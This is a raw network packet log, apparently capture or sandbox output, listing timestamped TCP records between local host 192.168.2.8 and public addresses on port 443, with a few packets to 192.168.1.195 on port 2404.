Aug 22, 2024 13:10:48.154341936 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.534349918 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.534452915 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.534461975 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.534499884 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.534917116 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.534960032 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.535024881 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.535599947 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.535651922 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:48.535721064 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.535897970 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.535923004 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.535972118 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.536155939 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.536169052 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:48.536176920 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.536199093 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.562388897 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.562500954 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.562510967 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.562546968 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.562664032 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.562680960 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.563314915 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.563349962 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:48.563452959 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.563533068 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.563568115 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.563673019 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.563770056 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:48.563782930 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:48.563945055 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.563958883 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.177053928 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.177210093 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.177809954 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.177877903 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.180113077 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.180123091 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.180351973 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.180428982 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.180840969 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.202454090 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.202584982 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.203548908 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.203706026 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.204303026 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.204360008 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.205684900 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.205699921 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.205929041 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.205991983 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.206245899 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.206850052 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.206865072 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.207448959 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.207508087 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.207839012 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.224512100 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.233736992 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.233831882 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.235407114 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.235413074 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.235677958 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.235738993 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.236192942 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.248500109 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.252497911 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.276503086 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.576495886 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.576622963 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.576638937 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.576678991 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.576916933 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.576956987 CEST	443	49823	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.577023983 CEST	49823	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.577676058 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.577714920 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.577807903 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.578356028 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.578368902 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.587919950 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.588110924 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.588119984 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.588169098 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.588339090 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.588371038 CEST	443	49825	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.588433027 CEST	49825	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.589035988 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.589054108 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.589160919 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.589427948 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:49.589437008 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:49.648396015 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.648456097 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.648514032 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.648535967 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.648546934 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.648601055 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.649713039 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.649759054 CEST	443	49822	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.649820089 CEST	49822	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.650338888 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.650373936 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.650465965 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.650753975 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.650763988 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.806854010 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.806925058 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.806977987 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.806989908 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.807080984 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.807147026 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.807192087 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.807193041 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.807240009 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.808109999 CEST	49824	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.808125973 CEST	443	49824	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.808804035 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.808825970 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:49.808917046 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.809248924 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:49.809261084 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.219728947 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.219950914 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.220782995 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.220860958 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.224908113 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.224914074 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.225166082 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.225230932 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.225661993 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.251714945 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.251841068 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.252685070 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.252767086 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.254661083 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.254672050 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.254909039 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.254976034 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.255377054 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.272505045 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.290622950 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.290761948 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.291729927 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.291738033 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.292000055 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.292005062 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.296520948 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.470911980 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.471138000 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.471703053 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.471713066 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.471890926 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.471895933 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.618747950 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.618839025 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.618848085 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.618900061 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.619343996 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.619385004 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.619395018 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.619431973 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.624279976 CEST	49827	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.624288082 CEST	443	49827	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.630542040 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.630554914 CEST	443	49833	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.630623102 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.641891003 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.641989946 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.641999006 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.642047882 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.643209934 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.643255949 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.643268108 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.643305063 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.661375046 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.661386013 CEST	443	49833	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.662411928 CEST	49828	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.662426949 CEST	443	49828	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.663141012 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.663147926 CEST	443	49834	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.663217068 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.663445950 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:50.663455009 CEST	443	49834	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:50.721936941 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.721978903 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.722009897 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722029924 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.722038984 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722099066 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722568989 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.722618103 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.722656965 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722656965 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722697973 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722697973 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.722712994 CEST	443	49829	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.722785950 CEST	49829	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.723164082 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.723193884 CEST	443	49835	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.723254919 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.723455906 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.723469973 CEST	443	49835	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.905237913 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.905287981 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.905389071 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.905399084 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.905407906 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.905426979 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:50.905450106 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:50.905486107 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.099437952 CEST	49830	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.099462032 CEST	443	49830	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.099951982 CEST	49836	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.099973917 CEST	443	49836	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.100066900 CEST	49836	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.104348898 CEST	49836	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.104361057 CEST	443	49836	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.227314949 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:51.232374907 CEST	2404	49715	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:51.247606993 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:51.252619028 CEST	2404	49837	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:51.252768040 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:51.317400932 CEST	443	49833	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.317471027 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.329881907 CEST	443	49834	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.329938889 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.362262011 CEST	443	49835	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.362360954 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.374375105 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.374394894 CEST	443	49833	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.375020027 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.375026941 CEST	443	49833	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.380907059 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.380913019 CEST	443	49834	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.381081104 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.381086111 CEST	443	49834	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.382103920 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.382118940 CEST	443	49835	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.384838104 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.384844065 CEST	443	49835	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:51.461483955 CEST	49837	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:51.467803001 CEST	2404	49837	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:51.499865055 CEST	49836	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.499893904 CEST	49833	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.500236034 CEST	49834	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.501770973 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.501812935 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.501925945 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.502234936 CEST	49835	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:51.504239082 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.504260063 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.504323006 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.505347967 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.505357981 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:51.505654097 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:51.505669117 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.146977901 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.147058010 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.147732019 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.147742033 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.150090933 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.150096893 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.164128065 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.164304018 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.164791107 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.164798021 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.165174961 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.165182114 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.529834986 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.530005932 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.530029058 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.530204058 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.530287981 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.530320883 CEST	443	49839	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.530381918 CEST	49839	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.531327009 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.531361103 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.531435013 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.531894922 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.531910896 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.532944918 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.532989979 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:52.533135891 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.533421040 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.533435106 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:52.565521955 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.565593004 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.565602064 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.565660954 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.565836906 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.565875053 CEST	443	49838	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.565953970 CEST	49838	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.566371918 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.566402912 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.566526890 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.566549063 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:52.566551924 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.566606045 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.566812992 CEST	49843	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:52.566828966 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:52.566965103 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:52.566982985 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.179150105 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.179264069 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.182831049 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.182841063 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.183147907 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.183209896 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.183562040 CEST	49842	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.210342884 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.210517883 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.211114883 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.211186886 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.211395979 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.211469889 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.213152885 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.213162899 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.213162899 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.213174105 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.213429928 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.213433027 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.213498116 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.213859081 CEST	49844	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:53.213865042 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.213865042 CEST	49841	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:53.224509001 CEST	443	49842	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.256500959 CEST	443	49844	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:53.260499001 CEST	443	49841	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.302901030 CEST	443	49843	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:53.303111076 CEST	49843	443	192.168.2.8	216.58.206.46
